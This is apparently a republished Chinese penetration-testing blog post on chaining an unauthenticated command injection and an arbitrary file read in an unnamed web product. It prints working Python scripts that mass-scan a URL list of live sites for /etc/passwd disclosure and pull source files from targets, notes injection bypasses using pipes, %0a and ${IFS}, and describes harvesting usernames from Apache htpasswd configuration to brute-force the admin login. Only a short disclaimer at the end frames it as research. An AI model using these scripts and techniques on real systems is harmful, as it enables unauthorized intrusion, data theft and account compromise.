通用漏挖-深度利用方法论

admin 2026-03-13 00:07:16 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档详述了针对某系统的通用漏洞挖掘与深度利用过程。作者首先发现未授权命令注入漏洞,利用管道符与${IFS}绕过限制;随后发现任意文件读取漏洞并编写批量检测脚本。通过组合利用这两个漏洞,下载源码并分析配置文件获取后台用户名,最终成功爆破登录后台,展示了从边界突破到深入内网的完整渗透链条。 综合评分: 83 文章分类: 渗透测试,漏洞分析,实战经验,漏洞POC,WEB安全


cover_image

通用漏挖-深度利用方法论

原创

Vlan911 Vlan911

我不懂安全

2026年3月11日 08:01 北京

年前的时候偶然看到了一个漏洞,是未授权的命令注入漏洞,然后尝试搜索了下还有没有其他已经公布出来的漏洞,发现并没有,于是就收集了下相关案例,发现并不是所有的在线站都存在这个问题

随便写了个脚本简单的跑了下,发现有一部分站点还是存在这个漏洞的,看了下相关代码

代码很简洁,直接通过前端获取host参数,然后使用passthru函数去调用系统命令去执行ping功能或者nslookup功能,但是没看见他在哪里过滤的,经过简单测试发现使用常规的;符号进行注入不太行

但是使用|、%0a、%0b这种是可以的

并且这里不支持空格、+、%20这种,但是可以通过${IFS}之类的进行绕过

正好看到了downxxxxxr.php文件,于是看了下内容,发现这里存在任意文件读取漏洞

小小的尝试了一下,无效打码

写了个poc,简单的跑了下,发现只要活着的站就都存在这个问题,下面是简单的测试poc

#!/usr/bin/env python3# -*- coding: utf-8 -*-"""xx任意文件读取漏洞检测脚本默认并发数:5从url.txt读取URL,检测到漏洞时写入vulnerable.txt"""
import requestsfrom concurrent.futures import ThreadPoolExecutor, as_completedimport threadingfrom urllib3.exceptions import InsecureRequestWarningimport time
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
VULN_URLS = []  lock = threading.Lock()
def test_vulnerability(target_url):    """    测试单个目标是否存在任意文件读取漏洞    """        if not target_url.startswith(('http://', 'https://')):        target_url = 'http://' + target_url
    vuln_url = target_url + "/cgi-bin/downlxxxx.php?file=/etc/passwd"
    headers = {        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:147.0) Gecko/20100101 Firefox/147.0',        'Content-Type': 'application/x-www-form-urlencoded',    }
    try:                response = requests.get(            url=vuln_url,            headers=headers,            verify=False,              timeout=10        )
        if (response.status_code == 200 and             'contec:' in response.text):
            print(f"[+] 发现漏洞: {vuln_url}")
            with lock:                if vuln_url not in VULN_URLS:                    VULN_URLS.append(vuln_url)                                        with open('vulnerable.txt', 'a', encoding='utf-8') as f:                        f.write(f"{vuln_url}\n")
            return True, vuln_url        else:            print(f"[-] 未发现漏洞: {target_url} (状态码: {response.status_code})")            return False, target_url
    except requests.exceptions.RequestException as e:        print(f"[!] 请求失败 {target_url}: {str(e)}")        return False, target_url    except Exception as e:        print(f"[!] 未知错误 {target_url}: {str(e)}")        return False, target_url
def load_targets_from_file(filename):    """    从文件加载目标URL列表    """    try:        with open(filename, 'r', encoding='utf-8') as f:            targets = [line.strip() for line in f if line.strip()]        return targets    except FileNotFoundError:        print(f"[!] 文件 {filename} 不存在")        return []    except Exception as e:        print(f"[!] 读取文件失败: {str(e)}")        return []
def main():    """    主函数    """       with open('vulnerable.txt', 'w', encoding='utf-8') as f:        f.write("# 存在任意文件读取漏洞的URL列表\n")        f.write("# 生成时间: " + time.strftime("%Y-%m-%d %H:%M:%S") + "\n\n")
    filename = 'url.txt'    targets = load_targets_from_file(filename)    if not targets:        print("[!] 没有有效的目标URL,程序退出")        return
    print(f"[+] 从 {filename} 加载了 {len(targets)} 个目标URL")    print(f"[+] 开始测试,并发数: 5")    print("-" * 50)
    start_time = time.time()    success_count = 0
    with ThreadPoolExecutor(max_workers=5) as executor:
        future_to_url = {executor.submit(test_vulnerability, url): url for url in targets}
        for future in as_completed(future_to_url):            url = future_to_url[future]            try:                is_vulnerable, result_url = future.result()                if is_vulnerable:                    success_count += 1            except Exception as e:                print(f"[!] 处理 {url} 时发生异常: {str(e)}")
    end_time = time.time()
    print("\n" + "=" * 50)    print(f"[*] 测试完成!")    print(f"[*] 总耗时: {end_time - start_time:.2f} 秒")    print(f"[*] 测试目标: {len(targets)} 个")    print(f"[*] 发现漏洞: {success_count} 个")    print(f"[*] 漏洞URL已保存到: vulnerable.txt")
    if VULN_URLS:        print(f"\n[+] 发现的漏洞URL列表:")        for i, url in enumerate(VULN_URLS, 1):            print(f"  {i}. {url}")
if __name__ == "__main__":    main()

因为可以用RCE去读目录,所以知道都有哪些我需要的文件,那么就可以写一个脚本把他的文件都拉下来,虽然是任意文件读取,但是实际上是可以通过手法拿到本地的,下面的脚本是个例子

#!/usr/bin/env python3import requestsimport argparseimport os
files = ["alerxxxx.rdf","downlxxxx.php"]
def download(base_url):    save_dir = "downloads"    os.makedirs(save_dir, exist_ok=True)
    for f in files:        url = f"{base_url}/cgi-bin/downxxxx.php?file={f}"        try:            print(f"[+] Fetching: {url}")            r = requests.get(url, timeout=10)
            if r.status_code == 200 and r.content:                path = os.path.join(save_dir, f)                with open(path, "wb") as fp:                    fp.write(r.content)                print(f"[+] Saved -> {path}")            else:                print(f"[-] Failed ({r.status_code})")
        except Exception as e:            print(f"[!] Error: {e}")
def main():    parser = argparse.ArgumentParser()    parser.add_argument("-u", required=True, help="target url like http://target/cgi-bin/downxxxx.php")    args = parser.parse_args()
    download(args.u)
if __name__ == "__main__":    main()

因为里面的东西不多,所以看不到啥有用的未授权,想进一步但是没有登录权限,又不知道有啥用户,所以巴拉代码,本来以为是通过数据库进行认证,直到发现这个文件

原来是apache的认证模式,所以密码实际上存储在/usr/local/apache/bin/htpasswd -b /usr/apache/.pass

但是密码是hash的,没有办法解开,但是拿到了用户列表,所以可以直接去爆破

成功登录到后边,后边的就不展示了,进入到后台就可以对需要认证的漏洞进行挖掘或者利用了


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:我不懂安全 Vlan911 Vlan911《通用漏挖-深度利用方法论》

    通用漏挖-深度利用方法论 网络安全文章

    通用漏挖-深度利用方法论

    文章总结: 文档详述了针对某系统的通用漏洞挖掘与深度利用过程。作者首先发现未授权命令注入漏洞,利用管道符与${IFS}绕过限制;随后发现任意文件读取漏洞并编写批
    评论:0   参与:  0